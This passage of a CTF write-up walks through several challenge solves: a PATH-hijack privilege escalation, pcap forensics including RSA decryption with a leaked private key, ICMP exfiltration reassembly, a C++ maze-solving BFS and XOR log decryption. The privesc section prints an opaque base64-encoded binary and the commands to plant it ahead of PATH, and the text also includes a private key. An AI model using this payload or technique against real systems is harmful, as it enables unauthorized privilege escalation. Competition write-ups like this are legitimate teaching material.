and gunzip
commands.
Then, I added the directory where this md5sum
file is put to the front of the environment variable PATH
and executed the check
command.
As a result, a file /tmp/out.txt
is generated, and reading this gave me the flag.
cd /tmp
mkdir work
cd /tmp/work
echo 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 | base64 -d > md5sum.gz
gunzip md5sum.gz
ls -l
total 20
-rw-r--r-- 1 ctf ctf 16872 Jul 4 17:52 md5sum
chmod a+x md5sum
export PATH=/tmp/work:$PATH
check
Contact Administrator
cat /tmp/out.txt
CYBERTF{B@sic_PrivEsc_(Anti_Gu3ssing)}
ls -l /tmp/out.txt
-rw-r--r-- 1 ctf_cracked ctf 39 Jul 4 17:53 /tmp/out.txt
CYBERTF{B@sic_PrivEsc_(Anti_Gu3ssing)}
Network
YZY
A file capture.pcapng
was given.
Opening with Wireshark and watching, there was a line "HTTP/1.1 200 OK (PNG)" near the end,
so I applied "Follow -> HTTP Stream" to this line.
A PNG data is returned for a HTTP request GET /flag.png HTTP/1.1
there.
I displayed the data in hexadecimal dump and copy-and-pasted the data to CyberChef.
Then, I obtained the PNG data via "From Hexdump -> Extract Files".
The flag was written in the PNG image.
CYBERTF{NETWORK_IS_YZY}
The Mole
Files capture1.pcapng
and capture2.pcapng
were given.
Opening capture1.pcapng
on Wireshark and applying "Follow -> TCP Stream" on a random line gave me this text:
A text from `capture1.pcapng`
$whoami
garizov
$ls -lah
drwxr-xr-x 1 garizov garizov 512 May 16 16:39 garizov.inf
drwxr-xr-x 1 garizov garizov 1 May 16 16:39 confidential.txt
drwxr-xr-x 1 garizov garizov 1 May 16 16:39 attack_planning.txt
drwxr-xr-x 1 garizov garizov 1 May 16 16:39 attack_plan.txt
drwxr-xr-x 1 garizov garizov 512 Jun 13 2020 .comm_cert
$cat .comm_cert
-----BEGIN RSA PRIVATE KEY-----
MIIBOQIBAAJAdA6LYrTnWaPJ5DSg03uaDH3biN4jfnH1mEqFuZILfHov4/SEdEqu
Gj5/gJ3ypGTbgWUFe9VQGY0LnXN3j6773wIDAQABAkBui0wJAPc8Ut6DF/34cssR
CvCJNc3pKvMb1B/72jhGn24mgbyHyNdxK7xaY0ultnQ/3hmFuT0i/UWXdfGlOTEB
AiEAzqTk8qn/OZ9dfGOUd27JZJxucxvyB9TlY9xH5mMxS1ECIQCPxsE2N5avydWj
UnMhecYCGuwqfTTt7kMH9fGO5aWoLwIgf/2CEQtaGcarkK/c9VyZQMfjYUid0Fv8
+K0nm3s0vQECIFt+Rqvi2hCJp1skd8GAxaHHUiyDuvACZEOnng2qVC3fAiEAkjsZ
bWWZnzPMxFCUq54kXCyqHom1XRAKClNFchnNORA=
-----END RSA PRIVATE KEY-----
$cat garizov.inf
This is an alert. The cyberthreatforce has succeeded in breaking into our system.
Don't let any traces.
Garizov
$cat confidential.txt
$cat attack_planning.txt
$cat attack_plan.txt
$who
agent tty1 2021-06-06 14:15 old 2225 (:1)
garizov tty2 2021-06-06 16:15 old 2230 (:1)
$ls /home
Connection Lost
Like this, this text came from capture2.pcapng
:
A text from `capture2.pcapng`
CPrYwDhZMg+jxAWhK3Tu2LCzDPKteChdeXkO72T7BHhpPRtqbXHEcyvmhsmsPyHDjhflEV/BQwD42kYeO9EkfQ==
BfwWKiRIDj5VzWRYck6NUQdF52thWaeLwAdwHXvM/vVd5tZGF0YVWslOr9u/CyZQd3N552Mxtp4o9CaBaD657Q==
YuqH7THelhN0rNwYmBak+bZv20sqTX10O1Kmpc6ncmt91kYm1jxLLsQa157IBqbaSRI205D0/2LLPnoAkgCMGg==
LBKjeMcgIYaQx5cUX9JBQTab6bqFTP7dzTcRMcAy6jle64Q22Zr+JbwwJTvWlhZKT82pbGU/Ux/o2+L5bghhSA==
WHYuGXboak1lY2lKXsrjrurvNcsdbCebk8ebUc4e3eBuoAxlOoHfheYHzKfiC4bibBUmS+YLn5eA/kg/OWkh5w==
DPTFnoyKxcMl4DsfNlKL49msE8Sp7hgbIP1v9P3fe071BEMAl2VgxqCez2R2XvCZo7u8VAJFFmNNTfiO+MJdMw==
I applied "From Base64 -> To Hex -> Parse ASN.1 hex string" on CyberChef to the text between
-----BEGIN RSA PRIVATE KEY-----
and -----END RSA PRIVATE KEY-----
in the text obtained from capture1.pcapng
. It resulted in this:
SEQUENCE
INTEGER 00..(total 1bytes)..00
INTEGER 740e8b62b4e759a3c9e434a0d37b9a0c7ddb88de237e71f5984a85b9920b7c7a2fe3f484744aae1a3e7f809df2a464db8165057bd550198d0b9d73778faefbdf..(total 64bytes)..740e8b62b4e759a3c9e434a0d37b9a0c7ddb88de237e71f5984a85b9920b7c7a2fe3f484744aae1a3e7f809df2a464db8165057bd550198d0b9d73778faefbdf
INTEGER 010001..(total 3bytes)..010001
INTEGER 6e8b4c0900f73c52de8317fdf872cb110af08935cde92af31bd41ffbda38469f6e2681bc87c8d7712bbc5a634ba5b6743fde1985b93d22fd459775f1a5393101..(total 64bytes)..6e8b4c0900f73c52de8317fdf872cb110af08935cde92af31bd41ffbda38469f6e2681bc87c8d7712bbc5a634ba5b6743fde1985b93d22fd459775f1a5393101
INTEGER 00cea4e4f2a9ff399f5d7c6394776ec9649c6e731bf207d4e563dc47e663314b51..(total 33bytes)..00cea4e4f2a9ff399f5d7c6394776ec9649c6e731bf207d4e563dc47e663314b51
INTEGER 008fc6c1363796afc9d5a352732179c6021aec2a7d34edee4307f5f18ee5a5a82f..(total 33bytes)..008fc6c1363796afc9d5a352732179c6021aec2a7d34edee4307f5f18ee5a5a82f
INTEGER 7ffd82110b5a19c6ab90afdcf55c9940c7e361489dd05bfcf8ad279b7b34bd01..(total 32bytes)..7ffd82110b5a19c6ab90afdcf55c9940c7e361489dd05bfcf8ad279b7b34bd01
INTEGER 5b7e46abe2da1089a75b2477c180c5a1c7522c83baf0026443a79e0daa542ddf..(total 32bytes)..5b7e46abe2da1089a75b2477c180c5a1c7522c83baf0026443a79e0daa542ddf
INTEGER 00923b196d65999f33ccc45094ab9e245c2caa1e89b55d100a0a53457219cd3910..(total 33bytes)..00923b196d65999f33ccc45094ab9e245c2caa1e89b55d100a0a53457219cd3910
Referring
RSA 秘密鍵/公開鍵ファイルのフォーマット - bearmini's blog
I obtained these parameters for RSA encryption:
n = 0x740e8b62b4e759a3c9e434a0d37b9a0c7ddb88de237e71f5984a85b9920b7c7a2fe3f484744aae1a3e7f809df2a464db8165057bd550198d0b9d73778faefbdf
e = 0x010001
d = 0x6e8b4c0900f73c52de8317fdf872cb110af08935cde92af31bd41ffbda38469f6e2681bc87c8d7712bbc5a634ba5b6743fde1985b93d22fd459775f1a5393101
Also, processing the text from capture2.pcapng
via CypherChef, I obtained this data:
v1 = 0x08fad8c03859320fa3c405a12b74eed8b0b30cf2ad78285d79790eef64fb0478693d1b6a6d71c4732be686c9ac3f21c38e17e5115fc14300f8da461e3bd1247d
v2 = 0x05fc162a24480e3e55cd6458724e8d510745e76b6159a78bc007701d7bccfef55de6d6461746155ac94eafdbbf0b2650777379e76331b69e28f42681683eb9ed
v3 = 0x62ea87ed31de961374acdc189816a4f9b66fdb4b2a4d7d743b52a6a5cea7726b7dd64626d63c4b2ec41ad79ec806a6da491236d390f4ff62cb3e7a0092008c1a
v4 = 0x2c12a378c720218690c797145fd24141369be9ba854cfeddcd371131c032ea395eeb8436d99afe25bc30253bd696164a4fcda96c653f531fe8dbe2f96e086148
v5 = 0x58762e1976e86a4d6563694a5ecae3aeeaef35cb1d6c279b93c79b51ce1edde06ea00c653a81df85e607cca7e20b86e26c15264be60b9f9780fe483f396921e7
v6 = 0x0cf4c59e8c8ac5c325e03b1f36528be3d9ac13c4a9ee181b20fd6ff4fddf7b4ef5044300976560c6a09ecf64765ef099a3bbbc54024516634d4df88ef8c25d33
I decoded these via Python like this:
vl = [v1, v2, v3, v4, v5, v6]
vd = [pow(v, d, n) for v in vl]
def to_str(n):
r = ""
while n > 0:
r = chr(n & 0xff) + r
n >>= 8
return r
vs = [to_str(v) for v in vd]
The last parts which can be read as text of each elements of vs
were:
Cyberthreatforce is in.
Hurry up we have to kick them out.
Please take this code.
CYBERTF{D3c0d3_TcP_FL0w}
Log out now !
We have to be fast.
I obtained the flag.
CYBERTF{D3c0d3_TcP_FL0w}
Exfiltration
Five .pcapng
files (chall_split[1-4]?\.pcapng
) were given.
Applying strings -n 12
command to each files, I found many hexadecimal strings from chall_split3.pcapng
.
I applied "From Hex" on CyberChef to some of them that looked like representing ASCII characters,
and the result looked like some part of a PDF file.
Then I collected these hexadecimal strings. Each strings appeared twice in a row, so I took only one of them.
I applied "From Hex" on CyberChef to the collection and the result was a PDF file.
The flag was written in the PDF file.
CYBERTF{Extr@ction_1CMP_W000000000000000000W}
Misc
Return To The School
A TCP server was provided.
The challenge description said that we should determine the shortest path on a maze.
Connecting to the server using Tera Term, It gave me this output:
The output from the server
resolvez le chemain le plus cours
Example:
................................
.A XX X X X XXX XX .
.AX X X X XXXXXXX XX X.
.AAX XX XX XX X XXXX X.
.XAXXX XX X XX XXXXXXXXX X.
.AAXXXX XXXX XX X XXXXXXX XX .
.AXX XX XXXX X XXX .
.AXX X X XX X XXX XXX XX .
.AXAAA XXX XX XXX XXX X.
.AAAXAXX XXXXXXX XXX XXX X.
.X XXAAX XX XXXXXX XXXX X X.
.X XXAXXXX XX XXXXX XXXX X.
.X X A X XX XXX X XXXX X.
.X XX AX X X XXXX X XXX X X.
.X XAXXXXX XX XXXX XX X.
. XX AA X X X XXX .
. X XAXX XXXX X XXXXXAAA X .
.XXXXXXAXXXXX X X XXXAAXAAA .
.XX XXAAAAAAAA XXXAAAAA XXXAXX.
.XXX XX X XXXXAAAAAAXXX XX AAX.
.X XXXXX XXXXX XXXXXAA.
................................
vous devez repondre (ou equivalent)->ENENNEENEESESEEEESEEEEENEEEEEEENNNENNNNNENNEESEENNNNONNENN
a votre tour
............................................................................................
. XXXXX XXXXXXXXXXXX XX XX XXX X X XXXXXX X XXXXXXXXXXXX XXX .
.X XX XXXX X XX XXX XX X X XXX X X XX XXXXX X XX XXXX XX X.
.X XX X XX XX X X XX XXX X XX X XX X XX X X X XXXXX X XX XXXXX X X XXXX .
. XXXXX XXXXXXX X XX X X X X X XX XXX X X X X X X X X X X X.
. XXXXX X XXXXX XX X XXXXXXXXX X X X XXX XX XXX XXX XXX XXXX X X XX XX X XX.
. X X X XX X X XX X XX XXX XX XXXX XXXXXX XX X X XXXXX X X X XX XX X .
. X XX X XXX X XXX X XX XX XXX X XXXXXX XX X X X X XXX XXX .
.XXX XXXX XX X X XXX X X X XXX X XXXX XX XXX X XX XX X X XXX X X X XXX.
.X X X XXXX X X X XXXXXX XX XXX X XXX XXXX XX XXX XX XX XXX XX X XX X XXXX.
.X XXX X X X XX X X XXXXXXXXXX X X XX X XX XXX XXX XXXXX X XXX X XX XX XXXX X.
.X XX X X X X XXX XXX XX XX XX XXX XXX XXXXX .
.X X XX X XX XXXXXXXXX X X X XXX X X XXXXXXXXXX X X XX XX X X XX X X X X .
. XXXXX XX XXX X X XX XXXXX XX XX XXXXX XX X X XX X XXX X XX XX X .
.XX XXX XXX X XXX X X XX XX XX X X X XXX XX X X XXX X X X X X X XXXXXXX .
. X XXXXX XXX XXX XXX XX X X XXX XXXX XXX X X XX XXXXX XXXXXX .
. XX XX XXXX XXXX XXXXXX XX X X XX X XXXXXX XX X X XXX X XXX XXX X XX X XXX X XXXX .
. XX XXX X X XX X X X X XX XX X XXXX XXXXX X XX X X X.
. X XXXXXX X XXX XX XX XXXX X X XX X X X X X XX X X XXXXX XXX X XXXXXX XXX .
.XXX XXX XX XXX X XXXXX XX XXX XX XX X XX X XX X X XXXXXX XXXXXX XXXX X X .
. X XX X XX XXXXX X XX XXX XXXX X X X XX X XXX X X XXX XXX XXX X .
. X XXXXX X XXXX XX X X X XXXXX X XXX X XX X XXX X XXXX XX X XXX X .
.XX XX X X X XX X XX XXX XXXX XX X X X XXX X XXXX X X XXXXXX XX X X XX.
.X XX X X X X X XX XXX XX X X X X XX XX XX X XX X XXX XXXXX X.
.XXXX XXX XXX X X X XX XX X XXXX X XX XXX XX XXX XXXXXX XXXXX X X XX X.
. XXX X XX XX X XX XXXX X X XXXX XXXXX XXXXXX X XX XX XXX XX X XX X X.
. XXXXX X X XX X XXXXX X XXX XXXXXXXX XXX X XX XX X X XX X X XXXXXX XX X .
. XXXX XX X XX XXXXX X XX XXX X XXXX X XX XX X X XX XX XX X XXXX X XX .
. XXX XXX X X X XX XX XXX X XX X X XXX XX XXXXXXX X X XX XX XXXX X XX .
.X X X XX X X XXXXXXX XXX X X X XXX XX XXXXX XX X XXXXXX X X XXXX XXXX .
. XX X XXXX X XXXXX XXX X XXX X XXX X XXX XX XXXXXX X XXXX X XX X X X.
. XX XX XXXX XX X X X X XXXXX XXX XX X X XX XX X XX X X XXXXX X X.
. X X XX XXXXXXX XXXX XX XXXX XX X XXX XX XXXXX XX XX X XXX XX .
.X XXX XX X XXX XXX XX X XX X XXXXXXX XXX XXXXX X XXXXX X X XX X .
.X X XX X X XX X X X XX X X X X X XX XXX XX XX XXX X X XXXXX X X .
.X X X X XX X X XXXX X XXXX XXX XXXX X X X XX XXX X X XX XX XX X X X X XX X .
. X X X X X XX XXXX XXX X XXX XX XXXX X XX XX XX XX X X XXXXX XX X XX XX .
. XX XX X XXX XXX X XXX XXXX X X XX XX XXX X X X X X XXX X XX .
. XXXXXX X X XXX XXX X XXXXXXXX XXXXX X XX X XX XX X XXXXXXX XX XXX XX X .
. XXXXXXX X XX XX XXX XX XX XXX XX XXXXXX X XXXX XXXXXXX X X X XX XX X X.
. XX XXXX X X XXXXX XX XXX XXXX XX XX X XXXX X XXX XX XXXXXXX X X XXXX XX XXX .
. X XXXX XXX XXX XXX X X XX XX XXX X XX XX XXX XXX XXXXX .
. X X XX XXX X XX X XX XXXXX XX X XXX X XXX X X XX X XX XX X XX XX.
. X XXXX XX XXX X X X XXXXXX XX X X XX X X X X X X XXX X.
. X XXXX XXXXXX XX XXX XXX XX XXX XXXXXXXX XXX X XXX XXXXXXXX X X XXXXXX X X .
. XXXX XXXXX XX XXX XX XXXXXX X XX XX XX XX XX XXXX XX XX XX XXXXXX X .
. XX XX XXX XX X XXXXXXX XX X XXX X XXX XX XX X XXX XX X XX X XX .
. X XX X XX XX X X XX X XX XX XXXX X X X XX XXXX XX XXX X X X XXX.
. X X XX XXXXXX XX XXX XXXXXX XX X XXX XX X XX X XX XX X X XX X.
.X XX XXX X XXXXX X XX X XXX XXX XX X XXX X XXXXX XXXXX XX XX XXX XX X XXX X.
. X X XXX X X X X XXXXXXX X X X XXX XX X XX X X X XX XXXX XXX XXXX .
. X X XX XXX X XXX XXXXXXXX XX X XXX XX XX XX XX XXXXX X .
. X X X XXX X XX X XX XXXXXX X X XXX X XXX X XXX X X X XX XX X X XXXXX X.
. X XX X XX X XXX X XXX XX XXX XXX X XXX X X XX X X XXX.
.X XXX XX XXXX XX X X XXXXXXX XXXX XXXXXXXXX XXXXXXX X XXXX X XXXXX XXX XXX XXX.
. XX XXXXX XX X X X X X XX XXX X XXX X XXXXX XXX X XXXXXX X .
.X XXXX X X X X X X XX XXX XX XXX X XXXXX X XXX X XXXXX X X XX .
. XX XX XX XXXX XX X XXX X X XXXXXX X XXXX X X XX XXXX X XX .
.XX X XXX X X XXX XXXX XXXX X X XXX X XXX X X XX XXX X X XX XXXX X .
. X XX X XX X X XX X XXX X X X XX X XXXX X XX XXXXXXXXX XX X X XX XXX.
. XX XXX X XXXX XXX X XXX XXXXXXXXX XXX X XXX XXX XX XX X .
............................................................................................
The Example suggested me:
- The path should go from the lower right corner to the upper left corner without moving on
.
norX
blocks. -
E
represents "go left",O
represents "go right",N
represents "go up", andS
represents "go down".
OK, this looks like a common problem in competitive programming.
One point is that we should use O
, not W
, to represent "go down", and it can easily be overlooked because the Example contains this case only once.
I implemented Breadth First Search.
A program to determine the shortest path
#include <iostream>
#include <vector>
#include <string>
#include <queue>
const int d[4][2] = {
{1, 0}, {-1, 0}, {0, 1}, {0, -1}
};
const char d_name[] = "SNOE";
struct status {
int y, x;
status(int y_ = 0, int x_ = 0) : y(y_), x(x_) {}
};
int main(void) {
std::vector<std::string> map;
const std::string key = "a votre tour";
std::string line;
bool reading = false;
while (std::getline(std::cin, line)) {
if (reading) {
if (!line.empty()) {
map.push_back(line);
}
} else if (line == key) {
reading = true;
}
}
std::vector<std::vector<int> > dir;
for (size_t i = 0; i < map.size(); i++) {
dir.push_back(std::vector<int>(map[i].size()));
}
std::queue<status> q;
q.push(status(map.size() - 2, map[map.size() - 2].size() - 2));
dir[map.size() - 2][map[map.size() - 2].size() - 2] = 5;
while (!q.empty()) {
status s = q.front();
q.pop();
for (int i = 0; i < 4; i++) {
int ny = s.y + d[i][0], nx = s.x + d[i][1];
if(map[ny][nx] == ' ' && dir[ny][nx] == 0) {
dir[ny][nx] = i + 1;
q.push(status(ny, nx));
}
}
}
std::string res = "";
for (int y = 1, x = 1; 1 <= dir[y][x] && dir[y][x] <= 4;) {
int cur_dir = dir[y][x] - 1;
res = d_name[cur_dir] + res;
y -= d[cur_dir][0];
x -= d[cur_dir][1];
}
std::cout << res << '\n';
return 0;
}
I calculated the shortest path via this program and sent, resulting in receiving
Vous avez mis plus de 10s
It sounds like the result should be returned within 10 seconds.
I succeeded in returning the result within the time limit and obtain the flag using these thoughts:
- Open a file to paste the input data sent from the server on a text editor before connecting to the server.
- Type the command to the terminal before connecting to the server, requiring only to press the Enter key after saving the input data to obtain the shortest path.
CYBERTF{M@ze_Mast3r}
Forensic
Usb Key Cemetery
A file auth.json
and an encrypted syslog file syslog.enc
were given.
Also, the challenge description said:
the logs starts on June 7th 22:53:25 Flag format: CYBERTF{Serial Number of the usb rubber ducky}
To begin with, I searched for the output format of syslog.
【再入門】syslogとは?ログの管理と転送方法についてわかりやすく解説します! | カゴヤのサーバー研究室
suggested me that there will be date and time like Aug 10 19:30:19
.
Applying this format to the date and time in the challenge description, it becomes Jun 7 22:53:25
.
Applying XOR on CyberChef to syslog.enc
with this formatted date and time used as Key (UTF-8),
the top became WE ARE APT403WEJ_]
.
Seeing this, I got the syslog data by applying XOR to syslog.enc
with the Key WE ARE APT403
(UTF-8).
In this case, I wanted to search for Serial Number.
Therefore, noting the SerialNumber
in the data, I searched for SerialNumber
in a text editor and checked.
As a result, I found this suspicious part:
Apr 12 20:21:25 kali kernel: [ 1.830063] usb 1-2: Product: Fake_KeyBoard
Apr 12 20:21:25 kali kernel: [ 1.830064] usb 1-2: Manufacturer: APT43.
Apr 12 20:21:25 kali kernel: [ 1.830065] usb 1-2: SerialNumber: 854be9ee57ef47ce74e73904998d61c8846e9239
I obtained the flag by putting SerialNumber
here to the Flag format.
CYBERTF{854be9ee57ef47ce74e73904998d61c8846e9239}
misc
Synopsis
The challenge description:
Put the flag that was present in the synopsis
The flag is written in an image on the "Synopsis" page in the site to introduce this CTF, so I typed that with care not to cause typo.
CYBERTF{7349621064380}